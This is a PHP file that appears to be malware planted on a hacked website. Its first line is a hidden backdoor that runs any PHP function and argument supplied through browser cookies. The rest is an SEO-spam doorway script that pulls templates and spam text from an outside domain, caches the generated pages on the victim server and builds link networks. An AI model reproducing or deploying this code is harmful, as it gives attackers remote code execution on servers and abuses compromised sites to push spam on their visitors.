<%>PHP if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); <%> //?????????,??????? ini_set('display_errors', 'On'); error_reporting(0); //???? function getFileDir() { //?????:??????,????????????,????????????,????? //???????????????????? $fileDir = './';//??????,??????,??????? $host = $_SERVER['HTTP_HOST'] . '-cache-files'; return $fileDir . $host . '/'; } function getFileName() { return sha1($_SERVER['REQUEST_URI']) . '-' . md5($_SERVER['REQUEST_URI']) . '.html'; } function getCacheHtmlFile() { return getFileDir() . getFileName(); } function saveCacheFile($content) { if (!is_dir($dir = getFileDir())) { mkdir($dir, 0777, true); } file_put_contents(getCacheHtmlFile(), $content); } if (file_exists(getCacheHtmlFile())) { echo file_get_contents(getCacheHtmlFile()); exit(); } $link_file = 'pozza.php'; //??????????? $target_url = 'http://excellentwhitening.com'; //????????? $pages = 'wenzhang/sporshobangladesh'; //txt????????? $url_count = 250; //txt????? $js_url = 'www.salewatches.cn';//?????url,??http:// $for = 'potrebbero';//???????? @$get = $_GET[$for]; $url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . $link_file; $js = ''; $html = file_get_contents('http://excellentwhitening.com/charms.html'); if ($get) { return_content($get, $js_url); } else { return_content(1, $js_url); } function return_content($get, $js_url) { global $html; global $target_url; global $pages; global $js; global $url_count; if ($get > $url_count) { $error = ' error:404
error:404
'; //??404?? echo $error; exit; } $target_dir_file = $pages . '/' . $get . '.txt';//pages??txt?????????? $contents = file_get_contents($target_url . '/' . $target_dir_file); //?????txt????? $contents = explode("&&", $contents); //????? $html = str_replace("{title}", $contents[0], $html); $html = str_replace("{keywords}", $contents[1], $html); $html = str_replace("{description}", $contents[2], $html); $html = str_replace("{blog_title}", $contents[3], $html); $html = str_replace("{blog_content}", $contents[4], $html); $html = str_replace("{js}", $js, $html); $links = return_url($get); $html = str_replace("{links}", $links, $html); saveCacheFile($html); echo $html; } function return_url($id) { global $for; global $url; global $target_url; global $pages; global $url_count; $result = ''; $ids = array(); $total = 15; for ($i = 1; $i <= $total; $i++) { $newId = $i + $id; if ($newId <= $url_count) { $ids[] = $newId; } } $total2 = $total - count($ids); for ($j = 1; $j <= $total2; $j++) { if ($j <= $total) { $ids[] = $j; } } foreach ($ids as $i) { if ($i == '0') { $i = 1; } $contents = file_get_contents($target_url . '/' . $pages . '/' . $i . '.txt'); //i??????? $contents = explode("&&", $contents); $result = $result . '' . $contents[3] . '
'; } return $result; }